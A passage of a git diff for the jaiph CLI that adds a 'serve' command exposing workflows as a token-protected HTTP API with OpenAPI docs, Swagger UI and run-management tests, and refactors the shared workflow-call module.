watcher.stop(); rmSync(tempRoot, { recursive: true, force: true }); resolveExit(code); }; diff --git a/src/cli/commands/serve.ts b/src/cli/commands/serve.ts new file mode 100644 index 00000000..b17f87d6 --- /dev/null +++ b/src/cli/commands/serve.ts @@ -0,0 +1,284 @@ +import { existsSync, mkdtempSync, rmSync, statSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { basename, dirname, extname, join, resolve } from "node:path"; +import { detectWorkspaceRoot } from "../shared/paths"; +import { hasHelpFlag, parseArgs } from "../shared/usage"; +import { resolveEnvPairs } from "../run/env"; +import { callWorkflow } from "../exec/call"; +import { + loadGeneration, + createSourceWatcher, + resolveStartupPosture, + WATCH_INTERVAL_MS, + type GenerationState, +} from "../shared/generation"; +import { ServeHandler } from "../serve/handler"; +import { createHttpServer, listen } from "../serve/server"; +import { VERSION } from "../../version"; + +const DEFAULT_HOST = "127.0.0.1"; +const DEFAULT_PORT = 5247; +const DEFAULT_MAX_CONCURRENT = 4; + +const SERVE_USAGE = + "Usage: jaiph serve [--host ] [--port ] [--workspace

    ] [--env KEY[=VALUE]]... \n\n" + + "Serve the file's workflows as an HTTP API with a generated OpenAPI 3.1 document\n" + + "and an embedded Swagger UI. Anything that speaks HTTP can invoke tested workflows\n" + + "and inspect their runs.\n\n" + + "Exposure mirrors `jaiph mcp`: `export workflow` declarations if any exist, otherwise\n" + + "every top-level workflow except channel route targets; `default` is exposed only\n" + + "when it is the only workflow, named after the file's basename. Descriptions come\n" + + "from the `#` comment lines above each workflow. Sources are re-validated on change.\n\n" + + "Endpoints: GET /docs (Swagger UI), GET /openapi.json, GET /healthz, GET /v1/workflows,\n" + + "POST /v1/workflows/{name}/runs (async 202 or ?wait=true for 200), GET /v1/runs,\n" + + "GET /v1/runs/{id}, POST /v1/runs/{id}/cancel.\n\n" + + "Auth: set JAIPH_SERVE_TOKEN to require `Authorization: Bearer ` on every\n" + + "/v1/* request (/healthz, /openapi.json, /docs stay open). Binding a non-loopback\n" + + "host without the token set is a startup error. Cap concurrent runs with\n" + + "JAIPH_SERVE_MAX_CONCURRENT (default 4).\n\n" + + " --host listen address (default: 127.0.0.1)\n" + + " --port listen port (default: 5247)\n" + + " --workspace workspace root for import resolution (default: auto-detect)\n" + + " --env KEY=VALUE define KEY in every run's env (repeatable); --env KEY forwards the host value.\n" + + " -h, --help show this help\n\n" + + "Example:\n" + + " JAIPH_SERVE_TOKEN=secret jaiph serve --host 0.0.0.0 ./tools.jh\n"; + +const LOOPBACK_HOSTS = new Set(["127.0.0.1", "::1", "localhost", "0:0:0:0:0:0:0:1"]); + +function isLoopbackHost(host: string): boolean { + return LOOPBACK_HOSTS.has(host.toLowerCase()); +} + +/** One in-flight generation: its state, live-run refcount, and superseded flag. */ +interface LiveGeneration { + state: GenerationState; + refs: number; + superseded: boolean; +} + +export async function runServe(rest: string[]): Promise { + if (hasHelpFlag(rest)) { + process.stdout.write(SERVE_USAGE); + return 0; + } + let parsed: ReturnType; + try { + parsed = parseArgs(rest); + } catch (err) { + process.stderr.write(`${err instanceof Error ? err.message : String(err)}\n`); + return 1; + } + const { workspace, env, positional, host: hostArg, port: portArg } = parsed; + const input = positional[0]; + if (!input) { + process.stderr.write("jaiph serve requires a .jh file path\n"); + return 1; + } + let extraEnv: Record; + try { + extraEnv = resolveEnvPairs(env, process.env); + } catch (err) { + process.stderr.write(`${err instanceof Error ? err.message : String(err)}\n`); + return 1; + } + const inputAbs = resolve(input); + if (!existsSync(inputAbs) || !statSync(inputAbs).isFile() || extname(inputAbs) !== ".jh") { + process.stderr.write("jaiph serve expects a single .jh file\n"); + return 1; + } + const workspaceRoot = workspace ? resolve(workspace) : detectWorkspaceRoot(dirname(inputAbs)); + if (workspace && (!existsSync(workspaceRoot) || !statSync(workspaceRoot).isDirectory())) { + process.stderr.write(`--workspace path is not a directory: ${workspaceRoot}\n`); + return 1; + } + + const host = hostArg ?? DEFAULT_HOST; + const port = portArg === undefined ? DEFAULT_PORT : Number(portArg); + if (!Number.isInteger(port) || port < 0 || port > 65535) { + process.stderr.write(`--port must be an integer between 0 and 65535, got "${portArg}"\n`); + return 1; + } + + const token = process.env.JAIPH_SERVE_TOKEN; + // Fail closed on exposure: a non-loopback bind without a token is a startup + // error, before any socket is opened. + if (!isLoopbackHost(host) && !token) { + process.stderr.write( + `jaiph serve: refusing to bind non-loopback host "${host}" without JAIPH_SERVE_TOKEN set ` + + "(every /v1/* endpoint would be unauthenticated arbitrary shell). Set JAIPH_SERVE_TOKEN and retry.\n", + ); + return 1; + } + + const maxRaw = process.env.JAIPH_SERVE_MAX_CONCURRENT; + let maxConcurrent = DEFAULT_MAX_CONCURRENT; + if (maxRaw !== undefined) { + const n = Number(maxRaw); + if (!Number.isInteger(n) || n < 1) { + process.stderr.write(`JAIPH_SERVE_MAX_CONCURRENT must be a positive integer, got "${maxRaw}"\n`); + return 1; + } + maxConcurrent = n; + } + + // All logs go to stderr — stdout stays clean for scripting. + const log = (line: string): void => { + process.stderr.write(`${line}\n`); + }; + + const tempRoot = mkdtempSync(join(tmpdir(), "jaiph-serve-")); + let generation = 0; + let current: LiveGeneration; + try { + const loaded = loadGeneration(inputAbs, workspaceRoot, tempRoot, generation, extraEnv, log, "jaiph serve"); + if (!loaded.state) { + for (const f of loaded.failures) log(f); + rmSync(tempRoot, { recursive: true, force: true }); + return 1; + } + current = { state: loaded.state, refs: 0, superseded: false }; + } catch (err) { + log(err instanceof Error ? err.message : String(err)); + rmSync(tempRoot, { recursive: true, force: true }); + return 1; + } + + let dockerConfig: ReturnType["dockerConfig"]; + try { + const posture = resolveStartupPosture(current.state, inputAbs, workspaceRoot, log); + dockerConfig = posture.dockerConfig; + if (dockerConfig.enabled) { + if (posture.sandboxMode === "inplace") { + log( + `jaiph serve: runs execute in a Docker sandbox in-place on ${workspaceRoot} ` + + "(JAIPH_INPLACE=1 opt-in: effects land live on the workspace).", + ); + } else { + log(`jaiph serve: runs execute in a Docker sandbox (${posture.sandboxMode} mode; workspace isolated).`); + } + } else { + log("jaiph serve: runs execute on the host with no sandbox."); + } + } catch (err) { + log(err instanceof Error ? err.message : String(err)); + rmSync(tempRoot, { recursive: true, force: true }); + return 1; + } + + // Delete a superseded generation's out dir only once its in-flight runs finish + // — HTTP runs can outlive a reload (unlike MCP, where the client blocks). + const maybeDeleteGeneration = (gen: LiveGeneration): void => { + if (gen.superseded && gen.refs === 0) { + rmSync(gen.state.callEnv.outDir, { recursive: true, force: true }); + } + }; + + // Track in-flight run promises so shutdown can drain them. + const inFlightRuns = new Set>(); + + const handler = new ServeHandler({ + version: VERSION, + serverTitle: `jaiph — ${basename(inputAbs)}`, + token, + maxConcurrent, + now: () => new Date().toISOString(), + getTools: () => current.state.tools, + callTool: (spec, args, runId, ctx) => { + // Bind the run to the generation live at start; keep its scripts dir alive + // until the run finishes, then delete it if the generation was superseded. + const gen = current; + gen.refs += 1; + const p = callWorkflow( + gen.state.callEnv, + dockerConfig, + spec.workflow, + spec.params.map((pp) => args[pp] ?? ""), + runId, + ctx, + ).finally(() => { + gen.refs -= 1; + maybeDeleteGeneration(gen); + }); + const tracked = p.then( + () => undefined, + () => undefined, + ); + inFlightRuns.add(tracked); + void tracked.finally(() => inFlightRuns.delete(tracked)); + return p; + }, + }); + + // Hot reload: swap the current generation; per-request OpenAPI + tool reads + // pick it up with no cache to invalidate. Validation failures keep serving. + let reloading = false; + const onSourceChange = (): void => { + if (reloading) return; + reloading = true; + try { + generation += 1; + const loaded = loadGeneration(inputAbs, workspaceRoot, tempRoot, generation, extraEnv, log, "jaiph serve"); + if (!loaded.state) { + log("jaiph serve: reload failed; keeping the previous workflows:"); + for (const f of loaded.failures) log(` ${f}`); + return; + } + const prev = current; + current = { state: loaded.state, refs: 0, superseded: false }; + watcher.rewatch([...current.state.graph.modules.keys()]); + log(`jaiph serve: sources reloaded (${current.state.tools.length} workflow(s))`); + prev.superseded = true; + maybeDeleteGeneration(prev); + } catch (err) { + log(`jaiph serve: reload failed; keeping the previous workflows: ${err instanceof Error ? err.message : String(err)}`); + } finally { + reloading = false; + } + }; + const watcher = createSourceWatcher(WATCH_INTERVAL_MS, onSourceChange); + watcher.rewatch([...current.state.graph.modules.keys()]); + + const httpServer = createHttpServer(handler, log); + let boundPort: number; + try { + boundPort = await listen(httpServer, host, port); + } catch (err) { + log(`jaiph serve: failed to listen on ${host}:${port}: ${err instanceof Error ? err.message : String(err)}`); + watcher.stop(); + rmSync(tempRoot, { recursive: true, force: true }); + return 1; + } + + const base = `http://${host}:${boundPort}`; + log(`jaiph serve: listening on ${base} — API docs at ${base}/docs (${current.state.tools.length} workflow(s))`); + + return await new Promise((resolveExit) => { + let draining = false; + let settled = false; + const finish = (code: number): void => { + if (settled) return; + settled = true; + process.removeListener("SIGINT", onSignal); + process.removeListener("SIGTERM", onSignal); + watcher.stop(); + httpServer.close(); + rmSync(tempRoot, { recursive: true, force: true }); + resolveExit(code); + }; + const onSignal = (): void => { + if (!draining) { + draining = true; + log("jaiph serve: shutting down; draining in-flight runs (signal again to cancel them)..."); + httpServer.close(); + watcher.stop(); + void Promise.allSettled([...inFlightRuns]).then(() => finish(0)); + } else { + log("jaiph serve: cancelling in-flight runs..."); + handler.cancelAll(); + } + }; + process.on("SIGINT", onSignal); + process.on("SIGTERM", onSignal); + }); +} diff --git a/src/cli/mcp/call.ts b/src/cli/exec/call.ts similarity index 80% rename from src/cli/mcp/call.ts rename to src/cli/exec/call.ts index 3babcb60..f712912c 100644 --- a/src/cli/mcp/call.ts +++ b/src/cli/exec/call.ts @@ -1,5 +1,4 @@ import { existsSync, readFileSync } from "node:fs"; -import { randomUUID } from "node:crypto"; import { join } from "node:path"; import type { ChildProcess } from "node:child_process"; import type { JaiphConfig } from "../../config"; @@ -17,14 +16,42 @@ import { type DockerRunConfig, } from "../../runtime/docker"; import { discoverDockerRunDir, remapContainerPath } from "../shared/errors"; -import type { McpCallResult, McpCallContext } from "./server"; /** - * Everything a `tools/call` needs from the server session. Built once per + * Result of executing one workflow call. `text` is the same content an MCP + * client sees (`composeResult`); `isError` is true when the workflow failed. + * The `runDir` / `exitStatus` / `signal` fields let HTTP callers (`jaiph serve`) + * populate a durable run object — MCP ignores them. + */ +export interface WorkflowCallResult { + /** Text returned to the caller as the call result. */ + text: string; + /** True when the workflow failed; surfaces as `isError` on the result. */ + isError: boolean; + /** Absolute run directory under `.jaiph/runs/`, when discoverable. */ + runDir?: string; + /** Child exit status (0 on success). */ + exitStatus?: number; + /** Terminating signal, when the child was killed. */ + signal?: NodeJS.Signals | null; +} + +/** + * Live hooks handed to `callWorkflow` for one in-flight call. `onStep` fires per + * `STEP_START`/`STEP_END` event; the executor registers its child-termination + * function via `onCancelHandle` so a cancellation can kill the run. + */ +export interface WorkflowCallContext { + onStep?: (kind: string, name: string) => void; + onCancelHandle?: (cancel: () => void) => void; +} + +/** + * Everything a workflow call needs from the server session. Built once per * module-graph generation (startup and each hot reload) — scripts and the * serialized graph are read-only, so concurrent calls can share them. */ -export interface McpCallEnvironment { +export interface WorkflowCallEnvironment { inputAbs: string; workspaceRoot: string; /** @@ -41,7 +68,7 @@ export interface McpCallEnvironment { /** Generation dir for per-call meta files. */ outDir: string; /** - * Resolved `--env` passthrough applied to every tool call for the server's + * Resolved `--env` passthrough applied to every call for the server's * lifetime. Host execution merges it into the runner env; Docker execution * threads it through `DockerSpawnOptions.extraEnv` — this is the single * choke point either way. @@ -58,23 +85,26 @@ interface CollectedOutput { } /** - * Execute one workflow as an MCP tool call. Honors the same env-driven sandbox - * selection as `jaiph run`: when `dockerConfig.enabled`, the call runs in a - * per-call container (workspace isolated by default; inplace when JAIPH_INPLACE=1); + * Execute one workflow call. Honors the same env-driven sandbox selection as + * `jaiph run`: when `dockerConfig.enabled`, the call runs in a per-call + * container (workspace isolated by default; inplace when JAIPH_INPLACE=1); * otherwise it runs on the host like `jaiph run --raw`. * + * The caller supplies `runId` so it can register the run before the child + * exits (the HTTP server needs the id while the run is still `running`). + * * Success text, in order of preference: the workflow's return value * (`return_value.txt`), collected `log` output, or a completion note. */ export async function callWorkflow( - env: McpCallEnvironment, + env: WorkflowCallEnvironment, dockerConfig: DockerRunConfig, workflowSymbol: string, positionalArgs: string[], - ctx?: McpCallContext, -): Promise { + runId: string, + ctx?: WorkflowCallContext, +): Promise { const runtimeEnv = resolveRuntimeEnv(env.effectiveConfig, env.workspaceRoot, env.inputAbs); - const runId = randomUUID(); runtimeEnv.JAIPH_SOURCE_ABS = env.inputAbs; runtimeEnv.JAIPH_RUN_ID = runId; runtimeEnv.JAIPH_SCRIPTS = env.scriptsDir; @@ -87,13 +117,13 @@ export async function callWorkflow( /** Host execution — same self-spawn path as `jaiph run --raw`. */ async function callWorkflowHost( - env: McpCallEnvironment, + env: WorkflowCallEnvironment, workflowSymbol: string, positionalArgs: string[], runtimeEnv: Record, runId: string, - ctx?: McpCallContext, -): Promise { + ctx?: WorkflowCallContext, +): Promise { runtimeEnv.JAIPH_MODULE_GRAPH_FILE = env.graphFile; // `--env` passthrough defines the workflow process's env, overriding // inherited values, on every call. @@ -117,20 +147,20 @@ async function callWorkflowHost( /** * Container execution — the same Docker path as `jaiph run`. The workflow - * symbol is carried into the container so a non-`default` tool runs correctly. + * symbol is carried into the container so a non-`default` call runs correctly. * Sandbox mode matches `jaiph run` (isolated by default; inplace when * JAIPH_INPLACE=1). The container meta file is inaccessible from the host, so * the run dir is discovered from the sandbox runs mount. */ async function callWorkflowDocker( - env: McpCallEnvironment, + env: WorkflowCallEnvironment, dockerConfig: DockerRunConfig, workflowSymbol: string, positionalArgs: string[], runtimeEnv: Record, runId: string, - ctx?: McpCallContext, -): Promise { + ctx?: WorkflowCallContext, +): Promise { const sandboxMode = selectMcpSandboxMode(runtimeEnv); const sandboxRunDir = resolveDockerHostRunsRoot(env.workspaceRoot, runtimeEnv); const dockerResult = spawnDockerProcess({ @@ -220,14 +250,14 @@ function attachOutputCollector( }; } -/** Compose the MCP result text from a finished run's output + run dir. */ +/** Compose the call result text from a finished run's output + run dir. */ function composeResult( workflowSymbol: string, data: CollectedOutput, exit: { status: number; signal: NodeJS.Signals | null }, runDir: string | undefined, sandboxRunDir: string | undefined, -): McpCallResult { +): WorkflowCallResult { const failed = exit.status !== 0 || exit.signal !== null; if (!failed) { @@ -238,7 +268,7 @@ function composeResult( : data.logs.length > 0 ? data.logs.join("\n") : `workflow ${workflowSymbol} completed`; - return { text: trimTrailingNewline(text), isError: false }; + return { text: trimTrailingNewline(text), isError: false, runDir, exitStatus: exit.status, signal: exit.signal }; } const parts: string[] = []; @@ -257,7 +287,7 @@ function composeResult( if (!data.failedStep && !stderrTrimmed && stdoutTrimmed) parts.push(stdoutTrimmed); if (data.logs.length > 0) parts.push(`log output:\n${data.logs.join("\n")}`); if (runDir) parts.push(`run dir: ${runDir}`); - return { text: parts.join("\n\n"), isError: true }; + return { text: parts.join("\n\n"), isError: true, runDir, exitStatus: exit.status, signal: exit.signal }; } function readMetaFile(metaFile: string): { runDir?: string; summaryFile?: string } { diff --git a/src/cli/index.ts b/src/cli/index.ts index d7b18122..cfed8f1b 100644 --- a/src/cli/index.ts +++ b/src/cli/index.ts @@ -9,6 +9,7 @@ import { runFormat } from "./commands/format"; import { runInstall } from "./commands/install"; import { runCompile } from "./commands/compile"; import { runMcp } from "./commands/mcp"; +import { runServe } from "./commands/serve"; import { runWorkflowRunner, WORKFLOW_RUNNER_ARG } from "../runtime/kernel/node-workflow-runner"; import { VERSION } from "../version"; @@ -67,6 +68,9 @@ export async function main(argv: string[]): Promise { if (cmd === "mcp" || cmd === "--mcp") { return await runMcp(rest); } + if (cmd === "serve") { + return await runServe(rest); + } process.stderr.write(`Unknown command: ${cmd}\n`); printUsage(); return 1; diff --git a/src/cli/serve/docs.test.ts b/src/cli/serve/docs.test.ts new file mode 100644 index 00000000..aee212f1 --- /dev/null +++ b/src/cli/serve/docs.test.ts @@ -0,0 +1,38 @@ +import test from "node:test"; +import assert from "node:assert/strict"; +import { DOCS_HTML, SWAGGER_UI_VERSION } from "./docs"; + +test("the /docs shell pins an exact swagger-ui-dist version on both assets", () => { + // The version constant is an exact pin (no ^/~/latest), and both asset URLs + // embed it. + assert.match(SWAGGER_UI_VERSION, /^\d+\.\d+\.\d+$/); + assert.ok( + DOCS_HTML.includes(`swagger-ui-dist@${SWAGGER_UI_VERSION}/swagger-ui-bundle.js`), + "bundle URL pins the exact version", + ); + assert.ok( + DOCS_HTML.includes(`swagger-ui-dist@${SWAGGER_UI_VERSION}/swagger-ui.css`), + "css URL pins the exact version", + ); + assert.ok(!/swagger-ui-dist@(latest|\^|~)/.test(DOCS_HTML), "no floating version range"); +}); + +test("both the JS and CSS assets carry integrity + crossorigin attributes", () => { + // Extract each ")); + const cssTag = DOCS_HTML.slice(DOCS_HTML.indexOf("", DOCS_HTML.indexOf(" { + assert.match(DOCS_HTML, /SwaggerUIBundle\(/); + assert.match(DOCS_HTML, /url:\s*"\/openapi\.json"/); + assert.match(DOCS_HTML, /persistAuthorization:\s*true/); +}); diff --git a/src/cli/serve/docs.ts b/src/cli/serve/docs.ts new file mode 100644 index 00000000..cdbd4548 --- /dev/null +++ b/src/cli/serve/docs.ts @@ -0,0 +1,51 @@ +// Swagger UI is loaded from a CDN with a pinned exact version, Subresource +// Integrity (SRI) hashes, and crossorigin — never vendored/embedded, so the +// jaiph binary stays lean (embedding swagger-ui is ~1.5 MB for one page). The +// consequence, documented in docs/serve.md and the design doc: `/docs` needs +// internet access in the browser; air-gapped operators still have +// `/openapi.json`, which any locally-hosted Swagger/Redoc/Scalar renders. +// +// To bump the version: change SWAGGER_UI_VERSION and regenerate both hashes: +// curl -s https://cdn.jsdelivr.net/npm/swagger-ui-dist@/swagger-ui-bundle.js \ +// | openssl dgst -sha384 -binary | openssl base64 -A +// curl -s https://cdn.jsdelivr.net/npm/swagger-ui-dist@/swagger-ui.css \ +// | openssl dgst -sha384 -binary | openssl base64 -A +export const SWAGGER_UI_VERSION = "5.17.14"; +const CDN_BASE = `https://cdn.jsdelivr.net/npm/swagger-ui-dist@${SWAGGER_UI_VERSION}`; +const BUNDLE_SRI = "sha384-wmyclcVGX/WhUkdkATwhaK1X1JtiNrr2EoYJ+diV3vj4v6OC5yCeSu+yW13SYJep"; +const CSS_SRI = "sha384-wxLW6kwyHktdDGr6Pv1zgm/VGJh99lfUbzSn6HNHBENZlCN7W602k9VkGdxuFvPn"; + +/** + * Static Swagger UI HTML shell. Loads `swagger-ui-dist` from the CDN (pinned + + * SRI + crossorigin) and points it at `/openapi.json`. `persistAuthorization` + * keeps the bearer token entered in the Authorize box across reloads, since a + * browser cannot attach headers to the initial `/docs` navigation. + */ +export const DOCS_HTML = ` + + + + + jaiph serve — API + + + +
    + + + + +`; diff --git a/src/cli/serve/handler.test.ts b/src/cli/serve/handler.test.ts new file mode 100644 index 00000000..9453326f --- /dev/null +++ b/src/cli/serve/handler.test.ts @@ -0,0 +1,292 @@ +import test from "node:test"; +import assert from "node:assert/strict"; +import { ServeHandler, type ServeRequest, type ServeResponse } from "./handler"; +import type { McpToolSpec } from "../mcp/tools"; +import type { WorkflowCallResult, WorkflowCallContext } from "../exec/call"; + +const BUILD_TOOL: McpToolSpec = { + name: "build", + workflow: "build", + description: "Builds the target.", + params: ["target"], + inputSchema: { + type: "object", + properties: { target: { type: "string" } }, + required: ["target"], + additionalProperties: false, + }, +}; + +const NOARG_TOOL: McpToolSpec = { + name: "ping", + workflow: "ping", + description: "Pings.", + params: [], + inputSchema: { type: "object", properties: {}, additionalProperties: false }, +}; + +type CallTool = ( + spec: McpToolSpec, + args: Record, + runId: string, + ctx: WorkflowCallContext, +) => Promise; + +function makeHandler(overrides?: { + callTool?: CallTool; + tools?: McpToolSpec[]; + token?: string; + maxConcurrent?: number; +}): ServeHandler { + let n = 0; + return new ServeHandler({ + version: "0.0.0-test", + serverTitle: "jaiph — test.jh", + getTools: () => overrides?.tools ?? [BUILD_TOOL], + callTool: overrides?.callTool ?? (async () => ({ text: "done", isError: false, exitStatus: 0 })), + token: overrides?.token, + maxConcurrent: overrides?.maxConcurrent ?? 4, + now: () => "2026-07-24T00:00:00.000Z", + newRunId: () => `run-${n++}`, + }); +} + +function req(method: string, path: string, opts?: { headers?: Record; body?: string; bodyTooLarge?: boolean }): ServeRequest { + const url = new URL(path, "http://x"); + return { + method, + path: url.pathname, + query: url.searchParams, + headers: opts?.headers ?? {}, + body: opts?.body ?? "", + bodyTooLarge: opts?.bodyTooLarge, + }; +} + +function bodyJson(res: ServeResponse): any { + return JSON.parse(res.body); +} + +const flush = (): Promise => new Promise((r) => setImmediate(r)); + +// === routing / unauthenticated surface === + +test("GET / redirects to /docs", async () => { + const res = await makeHandler().handleRequest(req("GET", "/")); + assert.equal(res.status, 302); + assert.equal(res.headers.location, "/docs"); +}); + +test("GET /healthz reports status, version, tools, in_flight (unauthenticated)", async () => { + const res = await makeHandler({ token: "secret" }).handleRequest(req("GET", "/healthz")); + assert.equal(res.status, 200); + const body = bodyJson(res); + assert.equal(body.status, "ok"); + assert.equal(body.version, "0.0.0-test"); + assert.equal(body.tools, 1); + assert.equal(body.in_flight, 0); +}); + +test("GET /openapi.json and /docs answer 200 unauthenticated even with a token set", async () => { + const h = makeHandler({ token: "secret" }); + const openapi = await h.handleRequest(req("GET", "/openapi.json")); + assert.equal(openapi.status, 200); + assert.equal(bodyJson(openapi).openapi, "3.1.0"); + const docs = await h.handleRequest(req("GET", "/docs")); + assert.equal(docs.status, 200); + assert.match(docs.headers["content-type"], /text\/html/); +}); + +test("wrong method on a known path is 405", async () => { + const res = await makeHandler().handleRequest(req("POST", "/healthz")); + assert.equal(res.status, 405); + assert.equal(bodyJson(res).error.code, "E_METHOD_NOT_ALLOWED"); +}); + +// === auth matrix (token set) === + +test("auth matrix: /v1/* requires the bearer token when JAIPH_SERVE_TOKEN is set", async () => { + const h = makeHandler({ token: "secret" }); + const none = await h.handleRequest(req("GET", "/v1/workflows")); + assert.equal(none.status, 401); + assert.equal(bodyJson(none).error.code, "E_UNAUTHORIZED"); + + const wrong = await h.handleRequest(req("GET", "/v1/workflows", { headers: { authorization: "Bearer nope" } })); + assert.equal(wrong.status, 401); + + const right = await h.handleRequest(req("GET", "/v1/workflows", { headers: { authorization: "Bearer secret" } })); + assert.equal(right.status, 200); + assert.deepEqual(bodyJson(right).workflows, [{ name: "build", description: "Builds the target.", params: ["target"] }]); +}); + +test("with no token configured, /v1/* is open (loopback default)", async () => { + const res = await makeHandler().handleRequest(req("GET", "/v1/workflows")); + assert.equal(res.status, 200); +}); + +// === POST run: validation === + +test("POST run for an unknown workflow is 404", async () => { + const res = await makeHandler().handleRequest( + req("POST", "/v1/workflows/nope/runs", { headers: { "content-type": "application/json" }, body: "{}" }), + ); + assert.equal(res.status, 404); + assert.equal(bodyJson(res).error.code, "E_NOT_FOUND"); +}); + +test("POST run with a missing required param is 400", async () => { + const res = await makeHandler().handleRequest( + req("POST", "/v1/workflows/build/runs", { headers: { "content-type": "application/json" }, body: "{}" }), + ); + assert.equal(res.status, 400); + assert.equal(bodyJson(res).error.code, "E_BAD_ARGS"); + assert.match(bodyJson(res).error.message, /target/); +}); + +test("POST run with a non-string param is 400", async () => { + const res = await makeHandler().handleRequest( + req("POST", "/v1/workflows/build/runs", { headers: { "content-type": "application/json" }, body: JSON.stringify({ target: 5 }) }), + ); + assert.equal(res.status, 400); + assert.match(bodyJson(res).error.message, /target/); +}); + +test("POST run with an unexpected param key is 400", async () => { + const res = await makeHandler().handleRequest( + req("POST", "/v1/workflows/build/runs", { + headers: { "content-type": "application/json" }, + body: JSON.stringify({ target: "x", bogus: "y" }), + }), + ); + assert.equal(res.status, 400); + assert.match(bodyJson(res).error.message, /bogus/); +}); + +test("POST run with a non-JSON content type is 415", async () => { + const res = await makeHandler().handleRequest( + req("POST", "/v1/workflows/build/runs", { headers: { "content-type": "text/plain" }, body: "target=x" }), + ); + assert.equal(res.status, 415); + assert.equal(bodyJson(res).error.code, "E_UNSUPPORTED_MEDIA_TYPE"); +}); + +test("POST run past the body cap is 413", async () => { + const res = await makeHandler().handleRequest( + req("POST", "/v1/workflows/build/runs", { headers: { "content-type": "application/json" }, bodyTooLarge: true }), + ); + assert.equal(res.status, 413); + assert.equal(bodyJson(res).error.code, "E_BODY_TOO_LARGE"); +}); + +test("concurrency cap returns 429 beyond the limit", async () => { + // callTool never resolves, so the first run stays in-flight and the second is + // rejected by the cap of 1. + const h = makeHandler({ maxConcurrent: 1, callTool: () => new Promise(() => {}) }); + const first = await h.handleRequest(req("POST", "/v1/workflows/ping/runs")); + // ping has no params; empty body is fine. + const hp = makeHandler({ maxConcurrent: 1, tools: [NOARG_TOOL], callTool: () => new Promise(() => {}) }); + const a = await hp.handleRequest(req("POST", "/v1/workflows/ping/runs")); + assert.equal(a.status, 202); + const b = await hp.handleRequest(req("POST", "/v1/workflows/ping/runs")); + assert.equal(b.status, 429); + assert.equal(bodyJson(b).error.code, "E_TOO_MANY_RUNS"); + void first; +}); + +// === async vs wait === + +test("async POST returns 202 with a Location header and a running run object", async () => { + const h = makeHandler({ tools: [NOARG_TOOL], callTool: () => new Promise(() => {}) }); + const res = await h.handleRequest(req("POST", "/v1/workflows/ping/runs")); + assert.equal(res.status, 202); + const body = bodyJson(res); + assert.equal(body.status, "running"); + assert.equal(res.headers.location, `/v1/runs/${body.run_id}`); +}); + +test("?wait=true returns 200 with the terminal run object and result_text", async () => { + const h = makeHandler({ + tools: [NOARG_TOOL], + callTool: async () => ({ text: "hello world", isError: false, exitStatus: 0, runDir: "/runs/x" }), + }); + const res = await h.handleRequest(req("POST", "/v1/workflows/ping/runs?wait=true")); + assert.equal(res.status, 200); + const body = bodyJson(res); + assert.equal(body.status, "succeeded"); + assert.equal(body.result_text, "hello world"); + assert.equal(body.run_dir, "/runs/x"); +}); + +test("a workflow failure is not an HTTP error: 200 with status failed and exit_status", async () => { + const h = makeHandler({ + tools: [NOARG_TOOL], + callTool: async () => ({ text: "workflow ping failed (exit 1)\n\nrun dir: /runs/x", isError: true, exitStatus: 1, runDir: "/runs/x" }), + }); + const res = await h.handleRequest(req("POST", "/v1/workflows/ping/runs?wait=true")); + assert.equal(res.status, 200); + const body = bodyJson(res); + assert.equal(body.status, "failed"); + assert.equal(body.exit_status, 1); + assert.match(body.result_text, /run dir:/); +}); + +// === run inspection === + +test("GET /v1/runs/{id} for an unknown id is 404, and lists newest first", async () => { + const h = makeHandler({ tools: [NOARG_TOOL], callTool: async () => ({ text: "ok", isError: false, exitStatus: 0 }) }); + const notFound = await h.handleRequest(req("GET", "/v1/runs/does-not-exist")); + assert.equal(notFound.status, 404); + + await h.handleRequest(req("POST", "/v1/workflows/ping/runs?wait=true")); + await h.handleRequest(req("POST", "/v1/workflows/ping/runs?wait=true")); + const list = bodyJson(await h.handleRequest(req("GET", "/v1/runs"))); + assert.equal(list.runs.length, 2); + // newest first: run-1 then run-0 + assert.equal(list.runs[0].run_id, "run-1"); + assert.equal(list.runs[1].run_id, "run-0"); +}); + +// === cancellation === + +test("cancel: 202 then terminal cancelled, invoking child + container teardown", async () => { + let childKilled = false; + let containerStopped = false; + let runPromise!: Promise; + const h = makeHandler({ + tools: [NOARG_TOOL], + callTool: (_spec, _args, _runId, ctx) => { + runPromise = new Promise((resolve) => { + ctx.onCancelHandle?.(() => { + childKilled = true; + containerStopped = true; + resolve({ text: "terminated by signal SIGINT", isError: true, exitStatus: 1, signal: "SIGINT" }); + }); + }); + return runPromise; + }, + }); + const start = await h.handleRequest(req("POST", "/v1/workflows/ping/runs")); + assert.equal(start.status, 202); + const runId = bodyJson(start).run_id; + + const cancel = await h.handleRequest(req("POST", `/v1/runs/${runId}/cancel`)); + assert.equal(cancel.status, 202); + assert.equal(childKilled, true, "child terminator ran"); + assert.equal(containerStopped, true, "container teardown ran"); + + await runPromise.catch(() => {}); + await flush(); + const record = bodyJson(await h.handleRequest(req("GET", `/v1/runs/${runId}`))); + assert.equal(record.status, "cancelled"); +}); + +test("cancel on an unknown run is 404; cancel on a terminal run is 409", async () => { + const h = makeHandler({ tools: [NOARG_TOOL], callTool: async () => ({ text: "ok", isError: false, exitStatus: 0 }) }); + const missing = await h.handleRequest(req("POST", "/v1/runs/nope/cancel")); + assert.equal(missing.status, 404); + + const start = bodyJson(await h.handleRequest(req("POST", "/v1/workflows/ping/runs?wait=true"))); + const again = await h.handleRequest(req("POST", `/v1/runs/${start.run_id}/cancel`)); + assert.equal(again.status, 409); + assert.equal(bodyJson(again).error.code, "E_RUN_TERMINAL"); +}); diff --git a/src/cli/serve/handler.ts b/src/cli/serve/handler.ts new file mode 100644 index 00000000..7f89fef3 --- /dev/null +++ b/src/cli/serve/handler.ts @@ -0,0 +1,342 @@ +import { randomUUID, timingSafeEqual } from "node:crypto"; +import type { McpToolSpec } from "../mcp/tools"; +import type { WorkflowCallResult, WorkflowCallContext } from "../exec/call"; +import { buildOpenApi } from "./openapi"; +import { DOCS_HTML } from "./docs"; + +/** 1 MiB cap on request bodies (design doc). */ +export const MAX_BODY_BYTES = 1024 * 1024; + +export type RunStatus = "running" | "succeeded" | "failed" | "cancelled"; + +/** In-memory record for one run: the public run object plus cancel bookkeeping. */ +export interface RunRecord { + run_id: string; + workflow: string; + status: RunStatus; + started_at: string; + ended_at: string | null; + exit_status: number | null; + signal: string | null; + result_text: string | null; + run_dir: string | null; + /** Set once a cancel is requested, so terminal status resolves to `cancelled`. */ + cancelled: boolean; + /** Child terminator registered by the executor; kills the run + container. */ + cancel?: () => void; + /** Monotonic insertion index for newest-first listing. */ + order: number; +} + +/** A normalized 